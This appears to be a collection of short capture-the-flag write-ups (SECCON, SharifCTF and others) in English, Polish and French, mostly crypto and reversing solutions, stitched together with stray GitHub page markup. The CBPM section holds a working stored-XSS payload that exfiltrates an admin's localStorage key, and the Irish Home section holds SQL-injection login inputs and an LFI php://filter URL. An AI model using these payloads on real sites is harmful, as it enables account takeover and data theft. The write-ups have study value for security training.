Co od razu daje nam `SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}` |
<span>Replace each smiley on the image by a letter and then use a cryptogram solver like http://www.quipqiup.com<span>It gave the following text</span><span>THE SUN CAME UPON THE SPANISH SEA</span><span>OUR HOME LAND FAR BEHIND US</span><span>BEING JUNTED BY THE KINGS NAVY</span><span>ITS SURE HED NEVER FIND US</span><span>PULL AWAY ME LADS O THE CARDIFF ROSE</span><span>AND HOIST THE JOLLY ROGER</span><span>The flag was jolly_roger</span></span> |
#Vigenere - Crypto 100
As the title for this chall claims, this is all about Vigenere cipher. Interestingly the alphabet used is not [A-Z], but also includes '{' and '}'. Besides giving us a full Vigenere table, the chall also provides some information about the key, the plaintext and the ciphertext.
~~~~k: ????????????p: SECCON{???????????????????????????????????}c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe~~~~
From now on we are going to assume *len(k)==12*. Our main goal is clearly to find *p*. Since we have the first 7 chars of *p* we could easily find the first 7 chars of *c*. We could even use the given table and do it manually. For the first char of *p*, *p[0]=='S'*, we would check the row of the table corresponding to *S*. Since *S* gets mapped to *c[0]=='L'*, we look for *L* in this row, which is in the column of *V*. The figure below ilustrates this process:
~~~~pt = "SECCON{"ct = "LMIG}RP"
res = ""for p,c in zip(pt, ct): res += chr( ord('A') + ( (ord(c) - ord(p)) % 28) )
print(res)~~~~
This simple procedure results in *VIGESEN* as the first part of the key. Evidently the chars '{' and '}' are not being correctly treated in positions 5 and 7. Either by correcting them manually or by guessing, we might deduce that *VIGENER* is indeed the first part. It is not hard to find that *VIGENERE* are the first 8 chars of the key.
We have the following result so far:
~~~~P: SECCON{A_ _ _ _BCDEDEFG_ _ _ _KLMNOPQR_ _ _ _VWXYYZ}K: VIGENERE_ _ _ _VIGENERE_ _ _ _VIGENERE_ _ _ _VIGENERC: LMIG}RPED O E EWKJIQIWKJ W M NDTSR}TFVU F W YOCBAJBQ~~~~
It seems the alphabet is part of *p*. After *G* there might be *HIJ_* or maybe *_HIJ*. The same goes for *STU_* or *_STU* right after *R*. Before going for a bruteforce solution we decided to test a few possibilities manually. We tried *H* in position 23 and *S* in position 32. Surprisingly, we got *C* as the result for the key in both cases. Certainly a good sign. Trying the other chars we got *VIGENERECOD_* for the key. Not hard to guess the answer should be *VIGENERECODE*, proving our first guess was correct!
With the key in hands all we had to do was decode the ciphertext in order to obtain **SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}**.
Although we used a lot of guessing to make things quicker, our next approach would be bruteforcing the given md5 hash. In fact, we decided to confirm our guesses with a little coding:
~~~~import itertoolsimport hashlibimport binascii
hashChall = "f528a6ab914c1ecf856a1d93103948fe"res = ""
# the range could include the whole alphabet for more extensive searchfor a in itertools.product("AB",repeat=4): for b in itertools.product("HIJJ",repeat=4): for c in itertools.product("STTU",repeat=4): pt = "SECCON{A"+"".join(a)+"BCDEDEFG"+"".join(b)+"KLMNOPQR"+"".join(c)+"VWXYYZ}" hashTst = hashlib.md5(pt.encode('utf-8')).hexdigest() if hashTst == hashChall: res = ptprint(res)~~~~ |
Problem:Hidden inside EKO(misc, 50 points)"Find the hidden flag in the EKO pixels!"Solution:If we take a look at the ctf.css file, we'll see a reference to a background image at static/img/background.png. If you take a look in the top left corner, we can see the flag. I'll be honest it took me like a day before I saw this because I was over-complicating it.<span>Flag: EKO{th3_fl4g}</span> |
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<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
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<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfwriteups</span></span></span><span>/</span><span><span>seccon</span></span><span>/</span>shop<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfwriteups</span></span></span><span>/</span><span><span>seccon</span></span><span>/</span>shop<span>/</span></div>
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# Hensel (crypto 400)
###ENG[PL](#pl-version)
In the task we get parameters suggesting RSA:
```n = 158168890645747636339512652656727367370140893295030333823920833363025940906055891357316994482461476576118114207681214323912652527927215053128809927932495206979837034713724140745400652922252749994983891690894724877897453440237829719520264826887839607084620792280551479756249230842706713662875715392719130358089e = 65537c = 140823625180859595137593494178968497314300266616869468408596741823165198698204065579249727536890649445240801729293482339393915146972721826733382396566284303449925618355682242041225432010603850355326962069585919704623290128021782032477132287121179121257196031074006842188551083381364957799238533440938240326919```
But factorization of `n` reveals that it's a prime square.
It can actually still be solved via RSA, if we remember that in this case `phi = p*(p-1)` and simply run:
```pythonp = gmpy2.isqrt(n)print(long_to_bytes(pow(c, gmpy2.invert(e, p*(p - 1)), p)))```
But there is also a more generic approach useful when dealing with prime powers.
What we have is `m^e mod p^2` and we want to recover `m`.Recovering `m` for prime modulus is simple, since totien `phi = p-1`.But it's also possible for modulus which is a prime power, using Hensel Lifing lemma.
If we know solution to `f(x) = 0 mod p` we can use an iterative algorithm to compute solutions `mod p^k`.
```pythonimport gmpy2from src.crypto_commons.generic import long_to_bytesfrom src.crypto_commons.rsa.rsa_commons import hensel_lifting
def main(): n = 158168890645747636339512652656727367370140893295030333823920833363025940906055891357316994482461476576118114207681214323912652527927215053128809927932495206979837034713724140745400652922252749994983891690894724877897453440237829719520264826887839607084620792280551479756249230842706713662875715392719130358089 e = 65537 c = 140823625180859595137593494178968497314300266616869468408596741823165198698204065579249727536890649445240801729293482339393915146972721826733382396566284303449925618355682242041225432010603850355326962069585919704623290128021782032477132287121179121257196031074006842188551083381364957799238533440938240326919 p = gmpy2.isqrt(n) k = 2 base = pow(c, gmpy2.invert(e, p - 1), p) # solution to pt^e mod p f = lambda x: pow(x, e, n) - c df = lambda x: e * x r = hensel_lifting(f, df, p, k, base) # lift pt^e mod p to pt^e mod p^k for solution in r: print(long_to_bytes(solution))
# print(long_to_bytes(pow(c, gmpy2.invert(e, p*(p - 1)), p)))
main()
```
Using code from our crypto-commons:
```pythondef hensel_lifting(f, df, p, k, base_solution): """ Calculate solutions to f(x) = 0 mod p^k for prime p :param f: function :param df: derivative :param p: prime :param k: power :param base_solution: solution to return for p=1 :return: possible solutions to f(x) = 0 mod p^k """ previus_solution = [base_solution] for x in range(k-1): new_solution = [] for i, n in enumerate(previus_solution): dfr = df(n) fr = f(n) if dfr % p != 0: t = (-(extended_gcd(dfr, p)[1]) * int(fr / p ** (k - 1))) % p new_solution.append(previus_solution[i] + t * p ** (k - 1)) if dfr % p == 0: if fr % p ** k == 0: for t in range(0, p): new_solution.append(previus_solution[i] + t * p ** (k - 1)) previus_solution = new_solution return previus_solution```
And this gives us: `sponge_bob_square_roots` just as the simpler approach with RSA.
###PL version
W zadaniu dostajemy parametry sugerujace RSA:
```n = 158168890645747636339512652656727367370140893295030333823920833363025940906055891357316994482461476576118114207681214323912652527927215053128809927932495206979837034713724140745400652922252749994983891690894724877897453440237829719520264826887839607084620792280551479756249230842706713662875715392719130358089e = 65537c = 140823625180859595137593494178968497314300266616869468408596741823165198698204065579249727536890649445240801729293482339393915146972721826733382396566284303449925618355682242041225432010603850355326962069585919704623290128021782032477132287121179121257196031074006842188551083381364957799238533440938240326919```
Ale faktoryzacja `n` pokazuje że to potęga liczby pierwszej.
Nadal możemy rozwiązać to zadanie za pomocą RSA, jesli pamiętamy że w tym przypadku `phi = p*(p-1)` i uruchomimy:
```pythonp = gmpy2.isqrt(n)print(long_to_bytes(pow(c, gmpy2.invert(e, p*(p - 1)), p)))```
Ale jest też bardziej ogólne podejście do problemu potęg liczb pierwszych.
Mamy dane `m^e mod p^2` i chcemy poznać `m`.Odzyskanie `m` dla modulusa będącego liczbą pierwszą jest trywialne, bo totien `phi = p-1`.Odzyskanie `m` dla modulusa który jest potęgą liczby pierwszej jest także możliwe, za pomocą lematu Hensela.
Jeśli znamy rozwiązania `f(x) = 0 mod p` możemy użyć iteracyjnego algorytmu do policzenia rozwiązania `mod p^k`:
```pythonimport gmpy2from src.crypto_commons.generic import long_to_bytesfrom src.crypto_commons.rsa.rsa_commons import hensel_lifting
def main(): n = 158168890645747636339512652656727367370140893295030333823920833363025940906055891357316994482461476576118114207681214323912652527927215053128809927932495206979837034713724140745400652922252749994983891690894724877897453440237829719520264826887839607084620792280551479756249230842706713662875715392719130358089 e = 65537 c = 140823625180859595137593494178968497314300266616869468408596741823165198698204065579249727536890649445240801729293482339393915146972721826733382396566284303449925618355682242041225432010603850355326962069585919704623290128021782032477132287121179121257196031074006842188551083381364957799238533440938240326919 p = gmpy2.isqrt(n) k = 2 base = pow(c, gmpy2.invert(e, p - 1), p) # solution to pt^e mod p f = lambda x: pow(x, e, n) - c df = lambda x: e * x r = hensel_lifting(f, df, p, k, base) # lift pt^e mod p to pt^e mod p^k for solution in r: print(long_to_bytes(solution))
# print(long_to_bytes(pow(c, gmpy2.invert(e, p*(p - 1)), p)))
main()
```
I używając kodu z naszego crypto-commons:
```pythondef hensel_lifting(f, df, p, k, base_solution): """ Calculate solutions to f(x) = 0 mod p^k for prime p :param f: function :param df: derivative :param p: prime :param k: power :param base_solution: solution to return for p=1 :return: possible solutions to f(x) = 0 mod p^k """ previus_solution = [base_solution] for x in range(k-1): new_solution = [] for i, n in enumerate(previus_solution): dfr = df(n) fr = f(n) if dfr % p != 0: t = (-(extended_gcd(dfr, p)[1]) * int(fr / p ** (k - 1))) % p new_solution.append(previus_solution[i] + t * p ** (k - 1)) if dfr % p == 0: if fr % p ** k == 0: for t in range(0, p): new_solution.append(previus_solution[i] + t * p ** (k - 1)) previus_solution = new_solution return previus_solution```
Dostajemy: `sponge_bob_square_roots` tak samo jak dla podejścia z RSA. |
Microcomputer=============
H8/300H simulator running code that contains a debug monitor, which in turn speaks the GDB wire protocol.
Exploitation------------
*EDIT:* Apparently, you could just control the PC register. Whoops. Made my life a bit more complicated, I guess.
The stub doesn't let you control the PC register nor write to memory, so instead we exploit a bug in the command receiver to smash the registers to our liking. We thus redirect the CPU into an open() and a read() to get the flag contents into memory, then we dump it out using the memory read command. |
# Log Me In (Reverse 100)The flag is encrypted by XOR a key: 28537194573619560 = 0x65626D61726168. The key is stored in a int_64 type but read as a char, so just be careful with the int is stored with little endian. The key is 'harambe'. After XOR the encrypted flag and the key, we got the flag: RC3-2016-XORISGUD |
# Lesula Isola
The game is inspired by the [Insult Sword Fighting game](http://monkeyisland.wikia.com/wiki/Insult_Sword_Fighting)
The script learns the winning and loosing comebacks over time.
|
Just a solution:It's a .Net obfuscated app that starts a simple webserver on port 80 and asks us to logintoo lazy to deobfuscate it.attach it to olly and find "pass" string , HW bp on "pass=([^&\r\n]*)" (unicode string) to catch our password.fill in login in the browser admin:anythingzxcvb and submitback to olly and search in memory for our password and track itmd5(ourpassword) is calculated using bcrypt.BCryptHashData and compared to C432A8174394A3F655B2BD29BB075E4Cshould we crack it?bp on advapi32.CryptHashData , <span>bcrypt.BCryptHashData and test again"</span>-40.01.6102 ,ikazamaY ogieK? thgirypoC" is passed to hash api, admin's passwordSECCON{D5691FB40B2AF60CA78DA78AC65A71E2}not intended solution but works//TMT |
# CBPM (web 300)
###ENG[PL](#pl-version)
We get access to cloud-based password storage.It stores encrypted passwords on the webpage, but the decryption key is present only on the client.
It is true - we check the local storage and there is a `KEY` entry:
We also notice that there is a cookie `LOGGED_IN_USER` with our username.We verify and apparently we can change it to anyone else, `admin` included.
`admin` user has an encrypted password called `flag`, but in order to decrypt it we would need admins `KEY` value from local storage.
There is a complaint form we can send to the admin, so we tried some standard XSS on this and it didn't work.The task description says that admin is using strong firewall, so we assumed that maybe admin can't reach anywhere outside.But he should still be able to invoke local actions inside the system.
So we checked what kind of request is sent when we add new encrypted password in the system, and we prepared payload to add new encrypted password with `KEY` form local storage as label:
```<script>var xmlhttp = new XMLHttpRequest();xmlhttp.open("POST", "/put.php");xmlhttp.setRequestHeader("Content-Type", "application/json");xmlhttp.send(JSON.stringify({"id":"eyJ0ZWFtaWQiOiI3NTUifS4xY0lSS1QuQ0dsWklub3B6ajg4T0k2VjVObVQwLVQ0aVg4","prelabel":"","newlabel":localStorage.getItem('KEY'),"encpass":"1e4f3be4abf38a8b6650312361d2c9cc","iv":"e8831d7a2e67c5aa0012c6af3c064a2d"}));</script>```
And it worked!After submitting this complaint form, there was a new password added to admins storage with name `VnlRV2RNWVNESzJSYmI1cWhNQ2ZXb2hqeGtINUk2Nkg=`.
Now we could just put this into our local storage as `KEY` and decode the flag:
`SharifCTF{eyJ0IjoiNzU1In0uQ3plSXN3Lkh6N21ZNGFmd0ZTMVNWMUJ1bmw2dlhqLVVxMA==}`
###PL version
Dostajemy dostęp do serwisu przechowującego hasła w chmurze.Serwis twierdzi przechowuje jedynie zaszyfrowane wersje haseł, a klucz deszyfrujący znajduje się jedynie u klienta.
Faktycznie wygląda, że jest to prawda bo w local storage pojawił nam się `KEY`:
Zauważmy także że jest cookie `LOGGED_IN_USER` z naszym loginem.Okazuje się, że możemy zmienić tą wartość na dowolną inną, w tym na `admin`.
`admin` ma w swoim zbiorze przechowywanych haseł takie o nazwie `flag`, ale żeby je odczytać musielibyśmy poznać `KEY` z local storage admina.
W serwisie jest formularz skarg który można wysłać adminowi, więc najpierw próbowaliśmy standardowych XSSów, ale bez efektów.W opisie zadania była informacja że admin używa mocnego firewalla, więc uznaliśmy, że admin może nie mieć wyjścia na zewnątrz.Mimo wszystko powinien móc wykonywać akcje wewnątrz systemu.
Sprawdziliśmy więc jakie requesty są wysyłane, żeby dodać nowe hasło przechowalni w systemie i przygotowalimy payload XSS tak żeby admin dodał sobie nowe hasło z wartością `KEY` z local storage jako nazwą:
```<script>var xmlhttp = new XMLHttpRequest();xmlhttp.open("POST", "/put.php");xmlhttp.setRequestHeader("Content-Type", "application/json");xmlhttp.send(JSON.stringify({"id":"eyJ0ZWFtaWQiOiI3NTUifS4xY0lSS1QuQ0dsWklub3B6ajg4T0k2VjVObVQwLVQ0aVg4","prelabel":"","newlabel":localStorage.getItem('KEY'),"encpass":"1e4f3be4abf38a8b6650312361d2c9cc","iv":"e8831d7a2e67c5aa0012c6af3c064a2d"}));</script>```
I zadziałało!Po wysłaniu formularza skargi z tym kodem, u admina pojawiło się nowe hasło o nazwie: `VnlRV2RNWVNESzJSYmI1cWhNQ2ZXb2hqeGtINUk2Nkg=`.
Mogliśmy teraz podmienić nasze lokalne `KEY` na hasło admina w local storage i zdekodować flagę:
`SharifCTF{eyJ0IjoiNzU1In0uQ3plSXN3Lkh6N21ZNGFmd0ZTMVNWMUJ1bmw2dlhqLVVxMA==}` |
# BFS (ppc 400)
###ENG[PL](#pl-version)
In the task we get a database [file](maze.db) with maze definition.We dumped the data to [txt](data.txt) to simplify usage.Each node stores a single byte of data.We guess that the point is to find the path through the maze.We used simple BFS search for that:
```pythonimport codecsimport collections
def print_matrix(matrix): for i in range(50): print(" ".join(matrix[i]))
def add_unvisited_node(to_process, visited, x, y, backtrace, prev): if (x, y) not in visited: visited.add((x, y)) backtrace[(x, y)] = prev to_process.append((x, y))
def main(): visited = {(0, 0)} to_process = [(0, 0)] graph = collections.defaultdict(dict) backtrace = {} with codecs.open("data.txt") as input_file: for line in input_file: # eg. 1|0|0|gate|1 data = line[:-2].split("|") node_id = int(data[0]) x = int(data[1]) y = int(data[2]) wall_type = data[3] payload = data[4] graph[x][y] = (node_id, wall_type, payload)
while len(to_process) > 0: xy = to_process.pop(0) x = xy[0] y = xy[1] if x in graph and y in graph[x]: node = graph[x][y] if node[0] == 2500: break if node[1] == "gate": add_unvisited_node(to_process, visited, x - 1, y, backtrace, xy) add_unvisited_node(to_process, visited, x, y - 1, backtrace, xy) add_unvisited_node(to_process, visited, x, y + 1, backtrace, xy) add_unvisited_node(to_process, visited, x + 1, y, backtrace, xy) print(backtrace) current = (49, 49) data = [] matrix = [[' ' for i in range(50)] for j in range(50)] i = 0 while current != (0, 0): x = current[0] y = current[1] matrix[x][y] = "%3d" % i i += 1 data.append(graph[x][y][2]) current = backtrace[(x, y)] data.reverse() print_matrix(matrix) result = "".join(data) print(result)
main()
```
Which prints out the maze solution and the bytes picked up on the way:
```54C82F36487A9157315AADFDDED1BB83ECD98E49EADAFEB03DB563A94E0851478C408CFD6B0BB42B030F61A82E655B7FCA0E1FA68DF676758DC60FBFD1016F0EB8E7A2B5170A157497EF711E4009653BC9B20726C98B6561EFBE316AC2AB2DCBE56494F05B44ED3EB62DA4109BEEC2537266FEDE44ACB12A17CA8C8A5BA9E1A4D24ACAD900FFBD228AC187B9024BEDC941D137EA3A92F9F8506740CD8C62DBEDB9990F3E0259434D9FCF070FEC9E60C5697BABA83A4E59EB4C3F0E7AFD44B1B8D9D93933962B27237560B5F8F7D19904D790842FA596FBB52B2A3F7EE15B7F589D28A6F20F747615E7ED135E17AFE8FE073B6606F5C893D40CB78B635AA5FE4E0EE10C572D5E7AECEAF743953D05F78BBC10A9BB3D53B0011AE5F269C806E5F9E6026C954A0CDF9C797953360602B96FC06324C3160701505C24597F6F7C77D5B76CBE25CD2B706A41DA324A1B79CFC4BA8B11F800593514D27754```
As far as I remember this was the flag.
###PL version
W zadaniu dostajemy [plik](maze.db) z definicją labiryntu.Zrzuciliśmy dane do [txt](data.txt) żeby ułatwić sobie pracę.Każdy węzeł uzyskanego grafu przechowuje jeden bajt danych.Domyślaliśmy się, ze zadaniem jest znaleźć drogę w labiryncie.Użyliśmy do tego BFSa:
```pythonimport codecsimport collections
def print_matrix(matrix): for i in range(50): print(" ".join(matrix[i]))
def add_unvisited_node(to_process, visited, x, y, backtrace, prev): if (x, y) not in visited: visited.add((x, y)) backtrace[(x, y)] = prev to_process.append((x, y))
def main(): visited = {(0, 0)} to_process = [(0, 0)] graph = collections.defaultdict(dict) backtrace = {} with codecs.open("data.txt") as input_file: for line in input_file: # eg. 1|0|0|gate|1 data = line[:-2].split("|") node_id = int(data[0]) x = int(data[1]) y = int(data[2]) wall_type = data[3] payload = data[4] graph[x][y] = (node_id, wall_type, payload)
while len(to_process) > 0: xy = to_process.pop(0) x = xy[0] y = xy[1] if x in graph and y in graph[x]: node = graph[x][y] if node[0] == 2500: break if node[1] == "gate": add_unvisited_node(to_process, visited, x - 1, y, backtrace, xy) add_unvisited_node(to_process, visited, x, y - 1, backtrace, xy) add_unvisited_node(to_process, visited, x, y + 1, backtrace, xy) add_unvisited_node(to_process, visited, x + 1, y, backtrace, xy) print(backtrace) current = (49, 49) data = [] matrix = [[' ' for i in range(50)] for j in range(50)] i = 0 while current != (0, 0): x = current[0] y = current[1] matrix[x][y] = "%3d" % i i += 1 data.append(graph[x][y][2]) current = backtrace[(x, y)] data.reverse() print_matrix(matrix) result = "".join(data) print(result)
main()
```
Co wypisuje na koniec rozwiązanie labiryntu oraz dane zebrane po drodze:
```54C82F36487A9157315AADFDDED1BB83ECD98E49EADAFEB03DB563A94E0851478C408CFD6B0BB42B030F61A82E655B7FCA0E1FA68DF676758DC60FBFD1016F0EB8E7A2B5170A157497EF711E4009653BC9B20726C98B6561EFBE316AC2AB2DCBE56494F05B44ED3EB62DA4109BEEC2537266FEDE44ACB12A17CA8C8A5BA9E1A4D24ACAD900FFBD228AC187B9024BEDC941D137EA3A92F9F8506740CD8C62DBEDB9990F3E0259434D9FCF070FEC9E60C5697BABA83A4E59EB4C3F0E7AFD44B1B8D9D93933962B27237560B5F8F7D19904D790842FA596FBB52B2A3F7EE15B7F589D28A6F20F747615E7ED135E17AFE8FE073B6606F5C893D40CB78B635AA5FE4E0EE10C572D5E7AECEAF743953D05F78BBC10A9BB3D53B0011AE5F269C806E5F9E6026C954A0CDF9C797953360602B96FC06324C3160701505C24597F6F7C77D5B76CBE25CD2B706A41DA324A1B79CFC4BA8B11F800593514D27754```
O ile dobrze pamiętam to była flaga. |
# LSB Oracle (crypto 150)
###ENG[PL](#pl-version)
The task was pretty much the same idea as https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/crypto_rabit with the exception that in Plaid CTF we had Rabin cryptosystem and there it was RSA.
We get a [binary](lsb_oracle.vmp.exe.zip) which can give us RSA public key and also it can tell us LSB of decrypted ciphertext.We also get an encrypted flag.
We approach it the same was as for Rabit on Plaid CTF - we can multiply plaintext by 2 if we multiply ciphertext by `pow(2,e,n)`.This is because:
```ct = pt^e mod nct' = ct * 2^e mod n = pt^e mod n * 2^e mod n = 2pt^e mod nct'^d = (2pt^e mod n)^d mod n = 2pt^ed mod n = 2pt mod n```
LSB from oracle tells us if the plaintext is even or odd.Modulus `n` is a product of 2 large primes, so it has to be odd.`2*x` has to be even.This means that if LSB of `2*x mod n` is 0 (number is still even) this number was smaller than modulus `n`.Otherwise the number was bigger than modulus.
We can combine this using binary search approach to get upper and lower bounds of the flag in relation to `n`.
We used a python script for this (slighly more accurate than the one in Rabbit, which was messing up last character):
```pythonfrom subprocess import Popen, PIPEfrom Crypto.Util.number import long_to_bytes
def oracle(ciphertext): print("sent ciphertext " + str(ciphertext)) p = Popen(['lsb_oracle.vmp.exe', '/decrypt'], stdout=PIPE, stdin=PIPE, stderr=PIPE) result = p.communicate(str(ciphertext) + "\n-1") lsb = int(result[0][97]) print(lsb, result) return lsb
def brute_flag(encrypted_flag, n, e, oracle_fun): flag_count = n_count = 1 flag_lower_bound = 0 flag_upper_bound = n ciphertext = encrypted_flag mult = 1 while flag_upper_bound > flag_lower_bound + 1: ciphertext = (ciphertext * pow(2, e, n)) % n flag_count *= 2 n_count = n_count * 2 - 1 print("upper = %d" % flag_upper_bound) print("upper flag = %s" % long_to_bytes(flag_upper_bound)) print("lower = %d" % flag_lower_bound) print("lower flag = %s" % long_to_bytes(flag_lower_bound)) print("bit = %d" % mult) mult += 1 if oracle_fun(ciphertext) == 0: flag_upper_bound = n * n_count / flag_count else: flag_lower_bound = n * n_count / flag_count n_count += 1 return flag_upper_bound
def main(): n = 120357855677795403326899325832599223460081551820351966764960386843755808156627131345464795713923271678835256422889567749230248389850643801263972231981347496433824450373318688699355320061986161918732508402417281836789242987168090513784426195519707785324458125521673657185406738054328228404365636320530340758959 ct = 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813 print(long_to_bytes(brute_flag(ct, n, 65537, oracle)))
main()```
And after a short while we got the flag: `SharifCTF{65d7551577a6a613c99c2b4023039b0a}`
Sadly the flag was at the very end of the plaintext to we had to wait for the whole 1024 bits.
###PL version
Zadanie jest generalnie bardzo podobne do https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/crypto_rabit z tą różnicą że na Plaid CTF szyfrowanie odbywało się algorytmem Rabina a tutaj było to RSA.
Dostajemy [binarke](lsb_oracle.vmp.exe.zip) która podaje nam klucz publiczny RSA i potrafi powiedzieć czy najniższy bit plaintextu jest 0 czy 1.Dostajemy też zaszyfrowaną flagę.
Nasze podejście jest takie samo jak dla Rabit z Plaid CTF - możemy mnożyć plaintext przez 2 poprzez mnożenie ciphertextu przez `pow(2,e,n)`.Wynika to z tego, że:
```ct = pt^e mod nct' = ct * 2^e mod n = pt^e mod n * 2^e mod n = 2pt^e mod nct'^d = (2pt^e mod n)^d mod n = 2pt^ed mod n = 2pt mod n```
Wyrocznia najniższego bitu mówi nam czy plaintext jest parzysty czy nieparzysty.Modulus `n` jest iloczynem 2 dużych liczb pierwszych więc musi być nieparzysty.`2*x` musi być parzyste.To oznacza, że jeśli LSB `2*x mod n` jest 0 (liczba nadal jest parzysta) to liczba musiała być mniejsza od `n`.W innym wypadku liczba była większa od `n`.
Możemy to uogólnić i użyć szukania binarnego, aby uzyskać dolne i górne ograniczenie dla flagi, względem `n`.
Wykorzystaliśmy do tego skrypt (trochę bardziej dokładny od tego z Rabit, który psuł ostatni znak):
```pythonfrom subprocess import Popen, PIPEfrom Crypto.Util.number import long_to_bytes
def oracle(ciphertext): print("sent ciphertext " + str(ciphertext)) p = Popen(['lsb_oracle.vmp.exe', '/decrypt'], stdout=PIPE, stdin=PIPE, stderr=PIPE) result = p.communicate(str(ciphertext) + "\n-1") lsb = int(result[0][97]) print(lsb, result) return lsb
def brute_flag(encrypted_flag, n, e, oracle_fun): flag_count = n_count = 1 flag_lower_bound = 0 flag_upper_bound = n ciphertext = encrypted_flag mult = 1 while flag_upper_bound > flag_lower_bound + 1: ciphertext = (ciphertext * pow(2, e, n)) % n flag_count *= 2 n_count = n_count * 2 - 1 print("upper = %d" % flag_upper_bound) print("upper flag = %s" % long_to_bytes(flag_upper_bound)) print("lower = %d" % flag_lower_bound) print("lower flag = %s" % long_to_bytes(flag_lower_bound)) print("bit = %d" % mult) mult += 1 if oracle_fun(ciphertext) == 0: flag_upper_bound = n * n_count / flag_count else: flag_lower_bound = n * n_count / flag_count n_count += 1 return flag_upper_bound
def main(): n = 120357855677795403326899325832599223460081551820351966764960386843755808156627131345464795713923271678835256422889567749230248389850643801263972231981347496433824450373318688699355320061986161918732508402417281836789242987168090513784426195519707785324458125521673657185406738054328228404365636320530340758959 ct = 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813 print(long_to_bytes(brute_flag(ct, n, 65537, oracle)))
main()```
I po chwili dostaliśmy flagę: `SharifCTF{65d7551577a6a613c99c2b4023039b0a}`
Niestety flaga była na samym końcu plaintextu więc musieliśmy czekać na całe 1024 bity. |
## SCrack
### Description
Run and Capture the flag!
[challenge](./SCrack.tar.xz)
### Solution
On running the binary, it asks for a `valid key`. So, I opened up gdb and ran it again, but `Dont trace me!` got echoed back. We were limited to static analysis to figure out the flag. I opened the binary in radare2 and examined the disassembly.
The cascading conditional checks (similar to the baby-re challenge of defcon-16) ended in either `0x400c50` or `0x400e98`.Looking at 0x400c50:
Converting the hex values to ascii gives the flag: `SharifCTF{ed97d26356dadb5cde0902006c7deb}` . |
## Lost Voice (misc-150)
### DecriptionConcatenate the flag parts[Challenge file](./challenge.mp3)
### SolutionThis challenge was solved by me and feignix (@paraschetal).Opening the given file in [Audacity](http://www.audacityteam.org/) gives away one part `95cd605bea9065f44530`, done by feignix.Opening the file in vlc and lowering the brightness reveals the other part `cb13bbb59dde`.`SharifCTF{cb13bbb59dde95cd605bea9065f44530}` |
## Irish Home (Web-200)
### DescriptionLogin, and recover the deleted flag.
### SolutionThis challenge is solved by me and @nikhil96sher(Nikhil Sheorem)The site (http://ctf.sharif.edu:8082/login.php) is vulnearable to sql injection.But they have applied filters on the `"`.So I used username = `\` and password = ` OR 1=1;#` and I was able to login as **admin**.Now I was kinda stuck unless @nikhil96sher pointed out that it is vulnearable to LFI as well.Using `http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/read=convert.base64-encode/resource=../delete`, we got ```
<div style="text-align: center;"><h3 style="color: red;">Site is under maintenance 'til de end av dis f$#!*^% SharifCTF.</h3><h4>Al' destructive acshuns are disabled!</h4></div>
```
After that using `http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/read=convert.base64-encode/resource=../deleted_3d5d9c1910e7c7/flag`, we got ```$username = 'Cuchulainn';$password = ; // Oi don't save me bleedin password in a shithole loike dis.
$salt = 'd34340968a99292fb5665e';
$tmp = $username . $password . $salt;$tmp = md5($tmp);
$flag = "SharifCTF{" . $tmp . "}";echo $flag;
```
Now using the [script](./web-200.py), we were able to brute-force password.So this was the challenge which had all fruits in the basket, we had sqli, LFI, path transversal, blind sqli.
|
## Getit (Reverse-200)
### DescriptionOpen and read the flag file.[Challenge file](./getit)
### Solution* On opening the file in IDA, I found that the program creates a file `flag.txt`. Inside the for-loop, it writes something from a variable `*(p[i]+&t)` to `flag.txt` and then again writes something from a variable `u`. So, these are our suspects. Let's move to the debugger.
* On analysing these variable by putting suitable breakpoints, I found the flag.  |
# FORENSIC - 400## 400 pts
Le challenge se présente sous la forme d’une image de la mémoire flash d’un disque.Le but est de retrouver le nom de la ville dans laquelle habite un homme.
Pour commencer, on passe un coup de _file_ pour voir ce que le fichier contient :```sh$ file 1479518451.48_dump.img 1479518451.48_dump.img: data```
